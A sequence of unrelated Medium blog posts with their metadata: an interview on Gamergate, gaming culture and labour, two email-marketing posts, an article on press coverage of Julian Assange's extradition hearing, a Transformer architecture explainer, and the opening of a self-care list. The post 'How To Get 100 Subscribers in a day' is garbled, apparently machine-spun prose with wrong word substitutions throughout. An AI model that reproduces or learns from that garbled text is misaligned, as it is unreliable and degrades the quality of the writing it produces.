To those unfamiliar, the liberal approach Marijam speaks of is this tendency to look for solutions to problems downstream of their root causes. From that, most of the existing literature focuses so heavily on the plight of developers and critics like Zoe Quinn and Anita Sarkeesian, that it overlooks so much of what toxic gaming culture has co-signed prior, spilling its radioactive waste of bigoted behavior onto other women, people of color, and trans and queer people whose struggles have been ignored because of the media’s fixation on a narrative of retroactive inevitablism and linear escalation. It’s okay for the chronology to be messy — any serious historical analysis has to take that inherent haphazardness into account.
“Class is an identity itself, and also class inequality is predicated on the othering and exploitation of people with less power.”
If some think the remedy for Gamergate could’ve been more explicit disapproval from gaming companies, Marijam sharply disagrees. “I think it’s a misdiagnosis — those same companies were creating the conditions for it to happen quite a long time ago. There were choices made by these companies to create the identity of the gamer,” she says. Marijam similarly views the notion of diversifying stories as a path for liberation with skepticism — to her, that’s just “capitalism getting stronger” and it’s something she thinks “needs to be looked at more critically, especially if [our culture is] going to be looking at the type of plight that the gaming industry is inflicting on people in the Global South.”
Group identity is something we still have a poor understanding of in the era of political polarization. The recently released “Why We’re Polarized” by Ezra Klein dove into those issues with great detail, concluding that so much of what defines modern culture war is a direct result of rising tensions between liberals and conservatives in America, with similar dynamics playing out in other parts of the world. I asked Marijam what role does she think identity plays in Gamergate, and her answer was rather illuminating — reflecting on Jesper Juul’s “A Casual Revolution”, she remarks that the author put great emphasis on the reliable presence of cynical story cues as signifier of “hardcore” status, which was taken up by some gamers in the past — and still today, though to a much lesser extent — to be a badge of uttermost honor. Similarly, on Juul’s “The Art of Failure”, Marijam notes that the recurrence of a failure state in games seems to condition players to naturally think themselves as losers, where winning is rather the exception to the rule. “The nihilism of the stories, always wishing to be better and not to lose, for other people to see you as better than you are — that sort of circles back to the idea of alienation.”
That Gamergate was partly fueled by internalized feelings of social inadequacy made intuitive sense, but part of me wondered for a long time if the movement was the mere produce of ambient misogyny and racism — the United States has its fair share of history with these phenomena, so it only makes sense to see some of it seep into the fabric of such a widely consumed form of media. Marijam noddingly approved, but with a caveat: “We tend to think about this in a very Global Northwest-centric way, but I would not underestimate the levels of Eastern European gamers who were involved in this. Those are societies that are extremely misogynistic and racist, so it’s just them reflecting what they know.”
Still, the American roots of misogyny are important to tackle. Marijam spares no details in her historical perspective on the phenomenon:
Sometimes, when I do talks, I draw this history of “How did we arrive to 2014?” and I begin with the level of women we actually had in the tech sector from the 1950s, but then because of flawed recruitment methods circa the 1960s, they actually get pushed out. [At that point], we’re very much looking at the birth of this exciting new profession — the IT person — and then if we fast-forward to the 70s, and the worst of Silicon Valley, what do we see in the gaming sector? Atari of course, and [them] being the most successful gaming company at the time, cemented the kind of culture we see in Silicon Valley today, which is the tech dudebro culture. […] It’s still very much alive today, but it has its roots back in Atari, and everyone thought that Atari is the most exciting place to work at, it cemented the idea of what game creation is, and although the company tried to appear sexy, in the end it turned out to be sex-ist. We fast-forward to the 90s, and the incredible mechanics that were created by Id Software in games like Doom and Quake [and] it did have the gory aesthetics attached to them that already perpetuated the lone blond hero [cliche] — the kind of image that to this day we see as part of gaming. Then again into the 2000s, there is huge evidence of the US Department of Defense funneling hundreds of millions of dollars into the industry for their message of global domination and spread of democracy to be reflected in video games as the good guys. Really America was very much ahead of its time in understanding that this is a space where you create cultural hegemony.
Yet, the puzzling part for Marijam remained is why didn’t progressives realize the power of the medium prior? A dismissive view of video games as an art form she seems to think: “We see counterculture in noir films, in fine art relational aesthetics, etc. But with gaming, I’ve just seen this around me — we have thought that gaming is something else. It’s just there, it’s not ours, it’s not our battle, it’s done by these no-lifers, that’s not our field, we just get on with our stuff.”
This was all pretty depressing stuff, but even more so was the discussion we had shortly thereafter about the role of the global south in the gaming industry. Aside from the concerns about consoles’ carbon footprint in the greater fight against climate change, they do not deviate from the standard in consumer electronics. “When I was getting interested in games and politics, and their whole intersection I was like okay “feminism and video games” sure fine — but surely, they’ll talk about the fact that Zoe Quinn’s and Anita Sarkeesian’s careers are only possible because of mass rape in the Democratic Republic of Congo, as well as suicides by female workers in Foxconn factories. Surely they do!” Marijam says, but much to her disappointment, that conversation was sidestepped altogether. “How can they talk about feminism, and the fact that as I say this, it’s predicated on the exploitation of women in other parts of the world? It was so shocking to me.”
I happen to share Marijam’s skepticism about a lacking intersectionality in conversations surrounding feminism, especially when they pertain to the most vulnerable. A feminism that doesn’t cut across class, and the dire straits that an unconscionable amount of women have to be put through in order for its Western iteration to thrive, is not very feministic at all. It’s even more so of importance to have that conversation as the planet continues to collapse on the back of that very selectivity. “As someone who’s interested in culture, and how can culture create social change, and how can art be effective in creating social change, I always found video games and the fact that they’re so dependent on the dictatorship of the console [to be] a huge limitation for games to ever be effective, because their existence is already built on suffering.”
One of the main reasons that Microsoft, Sony and Nintendo are able to maintain the status quo on console manufacturing, is because they remain largely unchallenged. As gargantuan multinational conglomerates, their status is under minimal threat. I asked Marijam if there’s any chance of a regulatory effort led by the United States to see that game console manufacturing becomes a more sustainable endeavor — maybe restrict exclusives so getting multiple consoles is discouraged, or mandate carbon emission standards so that their production is less perilous to our planet. “I’m not necessarily optimistic about the US system taking a stance towards this because the electoral arithmetic is not there,” Marijam says. She then jested about Valve announcing an all-ethical console, and putting Half-Life 3 on it, but was realistic about there being no corporate will to commit to such an ambitious project — nonetheless, she cautioned not to underestimate the power of greenwashing in mobilizing towards pro-climate policies: “Microsoft is talking about creating a carbon-neutral console — they’re not doing this out of the kindness of their own heart, they’re just wishing to sell a product that gamers will feel better about buying.”
“I always found video games and the fact that they’re so dependent on the dictatorship of the console [to be] a huge limitation for games to ever be effective, because their existence is already built on suffering.”
Knowing it was a long shot anyway, I proposed to Marijam the possibility of the government subsidizing part of the production cost such as to make more ethical forms of production less financially strenuous for consumers. Her response was surprisingly optimistic: “We’re already footing the bill for an iPhone that costs eleven-hundred dollars, when it costs [a fraction] to make. This is why the unionization movement is so inspiring to me — we’re hoping to at some point be a strong enough power to have some sort of say in these issues and also just create a new belief in trade unions and the workers’ power.”
So far, what Marijam described, is an industry that while sure of its strides, seems like a house of cards that could come tumbling down at any moment. Yet, when I expressed my fear of an eventual game crash — one fueled by market saturation and paralyzing consumer choice — she didn’t seem to be as adamant about drawing immediate conclusions as I was.
“There was already talk of a gaming apocalypse in the mid 2000s, but most of that attention turned to mobile gaming,” Marijam says. “For AAA developers to have their wings clipped a little bit, I don’t know [about that]. GTA V has earned like what, 9 billion dollars, and is the most profitable culture piece that’s ever been created? That also did very well. […] I think more and more people are investing into gaming and esports as it’s a big thing, and in the next decade, I don’t see anything changing.”
To close out the interview, I asked the question that a lot of people think about, but few dare to put into words: On net, is it ethical to be playing video games at all?
“I think it would be hypocritical of me to say that it’s unethical, because you know, as many people pointed out we use appliances in our kitchens, and our cars are emitting just as much bullshit into the air,” Marijam asserts. “But I think we need to grow generational conscious consumers that will be in tune with people making the product. We just need a radical implementation of the Lucas plan, and a real push towards class consciousness amongst game makers. As someone who believes the importance of cultural hegemony and the necessity for progressive voices within this medium, we can’t just walk away — we have to be here, and we have to mold it and shape it.”
In a bid to brighten the mood after a morose conversation, I jokingly suggested that the solution might be to embed leftist propaganda into games. Marijam brilliantly summarized our long chat in a short, concise response: “I don’t care for leftist games, I care about leftist means of production.”
|
https://medium.com/swlh/marijam-didzgalvyte-gaming-culture-gamergate-leftist-organizing-feminism-exploitation-global-south-2915a4e15227
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['A. Khaled']
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2020-02-11 09:37:13.591000+00:00
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['Gaming', 'Business', 'Climate Change', 'GamerGate', 'Culture']
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Email Marketing. Many email marketers frequently fail to…
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If you are currently participating in other types of Internet marketing but not email marketing you should seriously consider why you are avoiding this type of advertising. This is important because email marketing can be a very important part of any Internet marketing campaign.
Many business owners avoid email marketing for fear of being accused of spamming. Internet markets may not have a clear understanding of what is spam and what is not so they avoid participation in email marketing campaigns to avoid the potential for being labeled a spammer.
Why are Internet marketers so afraid of being accused of being purveyors of spam?
This is a common fear for a number of reasons. First of all, there may be harsh penalties associated with sending spam emails. Recipients of spam have the option of reporting the spam to their Internet service provider who will investigate the validity of the claim. If the originator of the email is determined to be a spammer there can be harsh consequences.
Will it be well received by potential customers?
Internet marketers are also afraid of email marketing because they believe it will not be well received by potential customers. This is an important concept because Internet users are bombarded with spam each day. Receiving this quantity of spam each day can be frustrating and can anger some Internet users. These Internet users are not likely to be receptive to email marketing. The fear that these potential customers will view email marketing and stray to competitors keeps many Internet marketers from taking advantage of this type of marketing strategy.
However, it is important to note that despite the prevalent problem with spam, many Internet users are quite receptive to email marketing. This is especially true in situations where they specifically requested to receive more information from the business owner regarding his products and services. Potential clients are particularly receptive to email marketing which provides something of value to the recipient of the email. Emails that contain in-depth articles, useful tips, or product reviews may be appreciated by consumers.
Additionally, items such as e-newsletters and correspondence courses offered via email can be of particular interest to potential customers.
What are E-newsletters?
E-newsletters are typically longer documents than traditional email marketing pieces and can provide a great deal of additional information to the email recipient. Email correspondence courses may be offered in short segments and typically amount to a significant amount of information which is likely to be greatly appreciated by the email recipients.
Email lists are important because email marketing is the best way to connect with customers vs. social media. In fact, you are 6x more likely to get higher click-through rates through emails instead of tweets. Also, email is 40 times more effective at acquiring new customers than Facebook or Twitter.
GetResponse is an email marketing platform. It enables you to create a valuable marketing list of prospects, partners, and clients, so you can develop relationships with them and build a responsive and profitable customer base.
|
https://medium.com/@mithila-thuduwawatthage/email-marketing-design-tips-5a78750edd69
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['Mithila Thuduwawatthage']
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2020-12-25 13:29:16.746000+00:00
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['Secret Email System', 'Email Marketing', 'Email Marketing Tips', 'Email Marketing Software']
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How To Get 100 Subscribers in a day
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Getting electronic mail subscribers can be achieved in a quantity of methods however the advocated approach is the implementation of a exquisite content material strategy. When human beings examine content material that is excessive satisfactory they will accept as true with that you have understanding in your area of interest and they will have faith you. This will make them a lot extra inclined to come to be an e mail subscriber.
You can use extraordinary codecs for your content material so it can be in textual content form, a podcast (audio) or a video. It is definitely first-rate to combine this up as a lot as you can. Be positive that all of your content material is pinnacle fine due to the fact terrible first-class content material will now not be regarded at through your site visitors and they will by no means turn out to be e-mail subscribers.
How Do You Define High-Quality Content?
This is tremendously handy to do. It has to add cost to the reader and this is the first essential point. Once they have examine your content material or watched your video they ought to have discovered some thing or understand how to do some thing that they could not do before.
Always maintain your content material applicable to the area of interest that you are working in. If you are in the make cash on line area of interest then create content material that helps humans to make cash on the Internet. People will without a doubt choose in to your listing if you do this.
You want to create a content material plan. Determine how frequently per week you will post new content material and additionally come up with a listing of titles for content material that you honestly consider will add value. A diagram usually works higher than simply making it up as you go along. With a plan, you will by no means be caught for thoughts due to the fact you have already determined what your content material will be about.
You are now not going to get many humans that will subscribe to your e-mail listing simply due to the fact your content material is great. There is a actual reluctance these days to phase with electronic mail addresses due to the fact of the unsolicited mail problem. So you want a amazing lead magnet to furnish the quintessential incentive for your traffic to decide in.
The lead magnet can be a written record such as a record or even a video. Think your lead magnet thru cautiously and make certain that it will add value. A negative lead magnet will lead to plenty of unsubscribes from your listing and you do not favor that to happen.
Position Yourself In Front Of Targeted Traffic
When you are beginning out you want centered site visitors that is fascinated in your niche. Creating content material that is by no means seen can appear like a whole waste of time however preserve going. Getting 10–20 site visitors a month to your internet site is very demoralizing so this is what you can do:
Establish the applicable social channels for your brand. Be certain to use your title or the title of your manufacturer in your channel. Depending upon your area of interest you will choose to have channels on YouTube, Facebook, Google+, Twitter and LinkedIn.
In Google+, LinkedIn and Facebook you can locate organizations that are associated to your niche. Be sure to publish oftentimes to these businesses however do no longer unsolicited mail them. You can get a lot of site visitors to your internet site by using doing this. Create a precise Facebook web page and additionally use Twitter to get your message out.
There are content material aggregators that can assist you to get your posts distributed. Finding them is handy — simply use your favored search engine. You can weblog on LinkedIn and Quora for even extra traffic. Always be searching at methods to construct your following. Guest posting on excessive visitors blogs is additionally a suitable visitors strategy.
follow on facebook page — https://www.facebook.com/bankerenterprises1
follow on Twitter page — https://twitter.com/home?lang=en
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https://medium.com/@fh4you/how-to-get-100-subscribers-in-a-day-a7d90d99307c
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['Himanshu Banker']
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2020-12-18 10:08:14.871000+00:00
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['Email Marketing Lists', 'Email Productivity', 'Email Marketing', 'Email', 'Email Marketing Tips']
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As Major Outlets Ignore Assange Extradition Hearing, Ai Weiwei Demands Freedom for WikiLeaks Founder
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CORPORATE MEDIA & FREEDOM OF THE PRESS
As Major Outlets Ignore Assange Extradition Hearing, Ai Weiwei Demands Freedom for WikiLeaks Founder
“He truly represents a core value of why we are free — because we have freedom of the press,” Weiwei said.
Artist and Chinese dissident Ai Weiwei staged a silent protest Monday outside the Old Bailey Court in London as critics pan the media for largely ignoring the extradition hearing of WikiLeaks founder Julian Assange, whose trial enters its fourth week of witness testimony.
“He truly represents a core value of why we are free-because we have freedom of the press,” Weiwei, a longtime supporter of Assange, said outside the courtroom.
“[Assange] is prepared to fight, but this is not fair to him,” he continued. “Free him, let him be a free man.”
Weiwei urged more civil action to bring attention to the trial, a call that came as media watchdogs point out an alarming lack of coverage of the hearing.
“The next time you see a mainstream media talking-head fawn over Bob Woodward, just remember that if they had any backbone, any moral core, they would be fawning over Julian Assange instead,” Lee Camp, a progressive political critic, wrote in Consortium News last week.
Camp pointed to the stark contrast in the deluge of mainstream media coverage of veteran journalist Bob Woodward’s recent book, and revelations about President Donald Trump’s lying to the American public about the severity of the impending Covid-19 pandemic last winter and the relative silence on Assange’s trial.
Video journalist and commentator Matt Orfalea this month also drew comparisons between Woodward and Assange’s treatment by the United States government and global media.
“Bob Woodward… has made his career publishing government secrets,” Orfalea said in a video posted earlier this month. “But today, he could go to jail for publishing government secrets, because the Trump administration has issued the first indictment in history charging a publisher for publishing government secrets.”
U.S. prosecutors have indicted the 49-year-old Assange on 17 espionage charges and one charge of computer misuse over WikiLeaks’ publication of secret American military documents in 2010. The charges carry a maximum sentence of 175 years in prison.
“Journalists do not need to care about Assange or like him,” Jonathan Cook, a U.K.-based reporter wrote as the trial began in early September. “They have to speak out in protest because approval of his extradition will mark the official death of journalism. It will mean that any journalist in the world who unearths embarrassing truths about the U.S., who discovers its darkest secrets, will need to keep quiet or risk being jailed for the rest of their lives.”
“That ought to terrify every journalist,” Cook added. “But it has had no such effect.”
Explaining the vested interests of corporate media in siding with western governments on which they report, Cook continued:
There were two goals the U.S. and U.K. set out to achieve through the visible persecution, confinement, and torture of Assange. First, he and WikiLeaks, the transparency organization he co-founded, needed to be disabled. Engaging with WikiLeaks had to be made too risky to contemplate for potential whistleblowers. That is why Chelsea Manning-the U.S. soldier who passed on documents relating to U.S. war crimes in Iraq and Afghanistan for which Assange now faces extradition-was similarly subjected to harsh imprisonment. She later faced punitive daily fines while in jail to pressure her into testifying against Assange. The aim has been to discredit WikiLeaks and similar organizations and stop them from publishing additional revelatory documents-of the kind that show western governments are not the “good guys” managing world affairs for the benefit of mankind, but are in fact highly militarized, global bullies advancing the same ruthless colonial policies of war, destruction, and pillage they always pursued. And second, Assange had to be made to suffer horribly and in public-to be made an example of-to deter other journalists from ever following in his footsteps. He is the modern equivalent of a severed head on a pike displayed at the city gates. The very obvious fact-confirmed by the media coverage of his case-is that this strategy, advanced chiefly by the U.S. and U.K. (with Sweden playing a lesser role), has been wildly successful. Most corporate media journalists are still enthusiastically colluding in the vilification of Assange-mainly at this stage by ignoring his awful plight.
U.S. lawmakers have largely condemned Assange, despite what columnist Alan MacLeod argued last week in a column for Fairness & Accuracy In Reporting (FAIR) is the “incendiary precedent” Assange’s case would set for the media in the U.S. in particular.
Both President Donald Trump and Democratic presidential nominee Joe Biden have condemned Assange. In 2010, Biden reportedly compared the WikiLeaks founder to “a high-tech terrorist.”
Progressive journalists have noted the media’s missing coverage.
ShadowProof’s Keven Gosztola—who has been providing comprehensive coverage of the trial since its start—reported earlier this month that Daniel Ellsberg, the Pentagon Papers whistleblower, testified in Assange’s defense and poked holes in the U.S government’s argument that in publishing the secret documents on WikiLeaks, Assange endangered lives. Gosztola pointed out that the WikiLeaks founder had asked the U.S. government for help redacting names prior to releasing the information on his website.
Ellsberg noted Assange withheld 15,000 files from the release of the Afghanistan War Logs. He also requested assistance from the State Department and the Defense Department on redacting names, but they refused to help WikiLeaks redact a single document, even though it is a standard journalistic practice to consult officials to minimize harm. “I have no doubt that Julian would have removed those names,” Ellsberg declared. Both the State and Defense Departments could have helped WikiLeaks remove the names of individuals, who prosecutors insist were negatively impacted. Yet, rather than take steps to protect individuals, Ellsberg suggested these government agencies chose to “preserve the possibility of charging Mr. Assange with precisely the charges” he faces now. Not a single person has been identified by the U.S. government when they talk about deaths, physical harm, or incarceration that were linked to the WikiLeaks publications.
As Assange’s trial continues, advocates fear corporate media is failing not only the public but the future of press freedom.
Cook noted that access journalism has weakened corporate media’s willingness to challenge sources they rely on regularly-including the U.S. government-even if that means not quite holding power to account. He wrote:
Assange did not just expose the political class, he exposed the media class too-for their feebleness, for their hypocrisy, for their dependence on the centers of power, for their inability to criticize a corporate system in which they were embedded. Few of them can forgive Assange that crime. Which is why they will be there cheering on his extradition, if only through their silence. A few liberal writers will wait till it is too late for Assange, till he has been packaged up for rendition, to voice half-hearted, mealy-mouthed or agonized columns arguing that, unpleasant as Assange supposedly is, he did not deserve the treatment the U.S. has in store for him. But that will be far too little, far too late. Assange needed solidarity from journalists and their media organizations long ago, as well as full-throated denunciations of his oppressors. He and WikiLeaks were on the front line of a war to remake journalism, to rebuild it as a true check on the runaway power of our governments. Journalists had a chance to join him in that struggle. Instead, they fled the battlefield, leaving him as a sacrificial offering to their corporate masters.
On Monday Rebecca Vincent, director of International Campaigns for Reporters Without Borders, confirming reporting from Gosztola, tweeted news from the trial that medical experts are now concerned Assange could attempt to take his own life while in detention.
“Even as their house is burning down, media are insisting it is just the Northern Lights,” MacLeod wrote.
|
https://medium.com/discourse/as-major-outlets-ignore-assange-extradition-hearing-ai-weiwei-demands-freedom-for-wikileaks-2263b39ca0c
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['Lisa Newcomb']
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2020-09-28 21:12:55.839000+00:00
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['Julian Assange', 'Ai Weiwei', 'Wikileaks', 'Journalism', 'Freedom Of The Press']
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Attention is all you need — The Transformer
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This article talks about the famous Transformers architecture in Natural Language Processing.
Background:
Historically RNN’s like LSTM’s and GRU’s are widely used architectures for most natural language understanding tasks like Machine translation, language modeling. They performed decently well but one major drawback is RNN’s process data sequentially. This inhibits parallelization, so the more words we have in the input sequence, the more time it will take to process that sentence. In addition to the sequential nature of RNN’s, they suffer from vanishing gradient problems for long sequences. Transformer was introduced in the paper Attention Is All You Need and it was shown that this new architecture is able to tackle the problems faced by RNN’s
I will try to explain each and every detail of Transformers in this blog post. Contents are as follows
What is Transformer?
Overview of Architecture
Encoder
1) Positional encoding
2) Self-Attention
3) Self-Attention calculation
4) Multi-head Attention
5) Feedforward Neural network layer
6) Residual connections and LayerNorm
Decoder
1) Inputs and Outputs in the decoder
2) Causal self-attention
3) Encoder-decoder attention
Final linear layer and softmax
What is Transformer?
The Transformer is an architecture whose main goal is to solve sequence-to-sequence tasks while handling long-range dependencies with ease. It totally can take advantage of parallelization and relies on attention mechanism to draw global dependencies between input and output.
In Attention Is All You Need paper, the transformer was used mainly for machine translation. So let’s keep our discussion in that domain when going through different components. Let’s say for example our goal is to translate an English sentence into a french sentence.
Overview of Architecture:
Transformer contains two main components.
Encoder
Decoder
Input to Encoder would be the English sentence and decoder outputs corresponding french sentence. Below is a simple diagram showing how a transformer is structured
Looking at the above picture, one might say that this looks exactly like sequence to sequence machine translation using RNN’s where the encoder takes input and the decoder produces output. But all the magic happens inside the big boxes above(encoder/decoder) where instead of sequential processing we have parallel processing and rely on 3 types of attention. So let’s have a look at each component in detail.
Encoder:
Encoder block is a stack consisting of 6 identical layers. Each layer has 2 sublayers. The first is a multi-head self-attention mechanism and the second is a simple position-wise fully connected feed-forward network. Let discuss with a simple picture
As seen above, the encoder’s input first flows through a self-attention layer that helps the encoder look at other words in the input sentence as it encodes a specific word. The outputs of the self-attention layer are fed to the feed-forward neural network. It is applied independently to each position.
The main property of the transformer is that each word in input flows through its own path in the encoder and in self-attention these input words interact and have dependencies between them. Feed forward layer does not have these interactions and since each word flows in its own path, the entire sequence can be executed in parallel as shown below.
Let’s understand all the operations that happen in the encoder with the help of 3 examples
1) They go to gym everyday
2) He is studying in third grade
3) Red cat sitting on the table
As with any NLP task, we first tokenize the sentence and convert it to numbers. After that, we convert each number(corresponding to a word) in a sentence into word embeddings. First will see how one sentence flows through an encoder using vectors and slowly will transition into using matrices for a batch of sentences
Above I used an embedding size of 4 for illustration. But in the paper, they used an embedding size of 512. So input will be a list of vectors each of size 512. First input passes through Self Attention layer and then through Feedforward neural network layer
Positional encoding
Our transformer model does not care about the actual ordering of words(all words are processed in parallel and they see all other words during attention). But for our model to make use of the order of sequence, we must add some information about the relative or absolute position of the tokens in the sequence. In other words, to give the model a sense of the order of words, we add Positional encoding to the embedding vectors. This is done both on the encoder and decoder side.
The positional encodings have the same dimension as the embeddings so that the two can be summed. The formula for calculating positional encoding is given in section 3.5 of the Attention Is All You Need paper.
Now we know how one sentence passes through an encoder, let’s see how a batch of sentences flows. This is very important because in the real world we never deal with one sentence. Below is a simple picture that illustrates this. Again I used toy embedding of size 4 for illustration.
Above, input representation flows through the self-attention layer in the encoder. This is the heart of transformers. So let’s dig deeper
Self-Attention
Consider the sentence I arrived at the bank after crossing the…. In this sentence depending on the word which ends the sentence, the meaning and appropriate representation of the word bank changes. For example, if the ending word is river then this word bank refers to the bank of the river and if the ending word is let’s say for example road then it refers to the financial institution. So when we are re-representing a particular word, the model needs to look at surrounding words in the input sentence for clues that can help lead to a better encoding for this word.
Self Attention is the mechanism Transformer uses to bring in the information of other relevant words to the one we are currently processing
So in the above example, the word river would receive a high score i.e, when processing the word bank to compute a new representation, our model would give high attention to the word river. We can think of the final score a particular word would get is a weighted combination of representations from all surrounding words.
For each word in the input sentence, we want to get a score of all remaining words in that sentence. So somehow we need to compare each word with all others. This is the main computation involved in self-attention. We want to get something like below
Self-Attention calculation:
Let’s see now how we can calculate similarity scores as in the above fig.
Instead of comparing embedding vectors directly, embeddings are first transformed using two linear layers. One such transformation generates query tensor(Q), the other transformation leads to key tensor(K). Since we are doing self-attention, query and key correspond to the same input sentence.
Creating Query(Q), Key(K) and Value(V) matrices
Input representation(Fig.5) is multiplied by WQ matrix(linear layer) to get Q and multiplied by WK matrix to get K. Fig.5 has dimensions of (n_seqXembed_dim) = (6X4). We will be using the WQ/WK matrix of size 4X4 for illustration. Q/K matrices will have a shape of 6X4 as shown below. For self-attention Q = K
We are projecting these input vectors into space where dot product is a good proxy for similarity. Higher the dot product score, the more similar or more attention between words.
Attention scores are calculated by the dot product between Q and K matrices i.e. QK T as shown below
If we see above, attention scores are large numbers. Now we apply the softmax function per row to bring all these numbers to between 0 and 1. Also good thing is that they add up to 1 for any particular word.
We have introduced Query and Key tensors so far. The last piece missing until now is the Value tensor. Value tensor is formed by a matrix multiply of the Input representation(Fig.5) with the weight matrix WV whose values were set by backpropagation. The row entries of V are then related to the corresponding input embedding.
The purpose of the dot-product is to ‘focus attention’ on some of the inputs. Dot product which is softmax(QK T) now has entries appropriately scaled to enhance some values and reduce others. These are now applied to the V entries.
The matrix multiply weights first column of V, representing a section of each of the input embeddings, with the first row of softmax(QK T), representing the similarity of word#0 and each word of the input embedding and deposits the value in Z
With the above calculation, we are re-representing each word in a sentence by taking into account all surrounding words’ information. This is called self-attention. It’s self because when encoding a particular sentence we are just looking at all other words in that sentence including itself but nowhere we are referring to other sentences.
Multi-head Attention:
Sometimes it’s beneficial to get multiple representational subspaces for a word. For example, in our sentence, I arrived at the bank after crossing the river, when we calculated our representation Z, even though it uses all other words information to re-represent word bank, it could be dominated by the actual word itself. So authors of the paper thought why not use multiple attention heads(which could be applied in parallel using multiple sets of Query/Key/Value weight matrices). Let’s try to understand this with a simple example where we used 2 attention heads instead of 1 head which we were used to until now
How do we calculate this? It’s very simple. Instead of using one set of Query/Key/Value weight matrices to produce one set of Q, K, V matrices, we use multiple sets of Query/Key/Value weight matrices to produce multiple sets of Q, K, V matrices. All these calculations will be done in parallel. Let’s go step by step using the number of attention heads = 2(paper used 8 attention heads)
Now we perform self-attention using 2 heads instead of 1 head as we are doing until now. As we know the first step is to calculate attention scores using dot product between Query(Q) and Key(K) vectors as shown below
Now we have 2 sets of attention scores corresponding to 2 attention heads, we need to multiply these with Value(V) matrices as before to get the final output of self-attention
After applying multi-head attention each word in a sentence will have multiple representations(actually n_head representations where n_head is the number of attention heads). But our feed-forward layer is expecting one matrix as shown in Fig 9 but we have two matrices now in Fig 13. So we need a way to condense this information to one metric. This is done by first concatenating the two matrices and passing through the linear layer as shown below
The entire self-attention process is described below
Feed forward Neural network layer
The output of the self-attention layer will flow through FFNN as shown in Fig 4. FFNN is applied to each position separately and identically and it consists of 2 layers as shown below.
Residual connections and LayerNorm
Until now we had a look at the 2 main components of an encoder layer. Transformer architecture had 6 layers like this and the output of one layer will act as input to another layer. But there is one thing that needs to be discussed which is residual connections. We have a residual connection around each of two sub-layers in the encoder layer then followed by layer normalization. Let’s understand this with an example below. To facilitate these residual connections, all sub-layers in the model, as well as the embedding layers, produce outputs of dimension dmodel = 512. The below image uses toy dimensions of 4 for illustration
Decoder
Decoder is the rightmost part of the architecture that decodes the encoder’s encoding of the input sentence. Decoder works exactly the same as encoder except that it has one more attention layer called Encoder-decoder attention. Below is an overview of decoder layers.
1) Causal self-attention — In a sentence, words only can look at previous words when generating new words. Causal attention allows words to attend to other words that are related, but an important thing to keep in mind is, they cannot attend to words in the future since these were not generated yet, they can attend to any word in the past though. This is done by masking future positions.
2) Encoder-decoder attention — For example, let’s say we are translating English to french. Input to the encoder would be English sentence and decoder outputs french sentence. Encoder-decoder attention is the one that helps the decoder focus its attention on appropriate places of the input sentence. In this layer, Queries come from the French sentence/previous decoder layer but Values and keys come from the output of the final encoder layer. This allows every position in the decoder to attend over all positions in the input sequence. This mimics the typical encoder-decoder attention mechanisms in sequence-to-sequence models.
3) Feed forward layer — FFNN is applied to each position separately and identically similar to the encoder side.
4) Residual and LayerNormalization — Similar to the encoder, the decoder also has residual connections and layer normalization.
Inputs and Outputs in decoder
Outputs in the transformer are generated token by token and the most recently generated token will be used as input for the next time step. This mimics the language modeling generation as shown below.
Causal self attention
Causal self-attention allows words to attend to other words that are already generated when generating a new word. For example in Fig 19, when generating the word belle causal self-attention allows to attend to only words C’est and une but not to word matinee since matinee is not generated yet.
Causal self-attention works the same way as self-attention of Encoder except that we need to modify calculation little to take care of the above point. This is done by masking future positions. Let’s understand this with one sentence but logic would hold true even for a batch of sentences.
Since it is just a variant of self-attention, queries and keys come from the same sentence.
English sentence: They go to gym everyday
French translation: Ils vont au gym tous les jours
Step by step:
1) Similar to self-attention we calculate QK T using French sentence which is matrix C in above fig. Queries(Q) and key(k) both come from the same sentence which is a French sentence here.
2) Matrix C says how similar each word in a query is to each word in key. This is called the attention weight matrix. For example, the pink strip in matrix C above says how much similar vont in query is to each word in key. So far it’s similar to self-attention. But the thing is when we are generating a word in a query, we only want to look at words that were generated until then including itself. So for example when generating the word vont, this word only wants to look at the words Ils and vont. But our similarity matrix has similarity scores even for words that come later. So we want to mask these similarity scores for words that come later.
3) This is done by adding matrix M which has all zeros on the diagonal and below and large negative numbers above the diagonal. This gives matrix f. Idea is that when we apply softmax in the next step these large negative numbers become zero as shown below.
So from the matrix (a) in fig 21 above, when generating word vant it has non zero similarity values only for words Ils and vant. This helps the decoder to pay attention to only words that were generated in the past.
Steps that come after the masking were exactly the same as in the multi-headed self-attention we discussed on the encoder side.
Encoder-decoder attention
This is very similar to self-attention in encoder except that in this case Queries(Q) come from previous decoder layers, Keys(K) and values(V) come from the output of the final encoder layer. This allows every position in the decoder to attend over all positions in the input sequence.
Final linear layer and softmax
The output of the decoder will flow through the linear layer and through softmax to turn a vector of words into an actual word. These layers are applied to each individual position of the decoder separately and in parallel, as shown below
Linear layer helps to project output from decoder layers into higher dimension layer(this dimension depends on vocabulary). For example, if our french vocabulary has 20000 words then this linear layer will project our decoder output of any single token into a 20000 dimension vector. Then this 20000-dimensional vector will be passed through the softmax layer to convert into probabilities. Now we select the token with the highest probability as the output word at this token position.
The entire process is outlined below.
References:
1) Attention is all you need. (Vaswani et al., 2017)
2) Natural language processing specialization — Coursera
3) NLP Stanford lecture by Ashish Vaswani.
|
https://medium.com/@ravitejareddy-ganta/attention-is-all-you-need-the-transformer-c40fe2960d0b
|
['Raviteja Reddy Ganta']
|
2021-03-08 02:20:14.626000+00:00
|
['Naturallanguageprocessing', 'Google', 'Deep Learning', 'Transformers', 'Attention']
|
5 Steps to Basic Self-Care When Life Overwhelms You
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These past few months have been both the slowest period of our lives and the most overwhelming for many of us. We suddenly had kids at home 24/7, our office and our home were suddenly one and the same, and despite having all the time in the world to go do whatever we wanted, nothing we wanted to do was available.
The world was shut down and as a result, we were bored out of our minds and overwhelmed by our entire lives suddenly being condensed to within the four exterior walls of our home — and maybe our yard.
I could say that this was also the ideal time for you to start a self-care practice. Except that even that often felt like too much for many people. How are you supposed to find time for self-care when everyone in the house is home, your boss has forgotten you’re not available all hours, and you can’t go out to get a massage, buy a face mask, or even get a cup of coffee you didn’t make yourself?
Whether it’s during a global pandemic or another period in your life, when life gets to be too much, you need to simplify self-care to the bare bones and then do it. Trust me, taking these five steps for basic self-care will result in you feeling less overwhelmed, more calm and peaceful, and get you on the right track for taking better care of yourself going forward.
Step #1: Identify your top priorities
When we’re feeling overwhelmed, it’s almost always because we’re trying to do too much at once. Whether that’s your own decision or because others are piling stuff on you, the fact remains that you’re trying to do too much. And it has to stop.
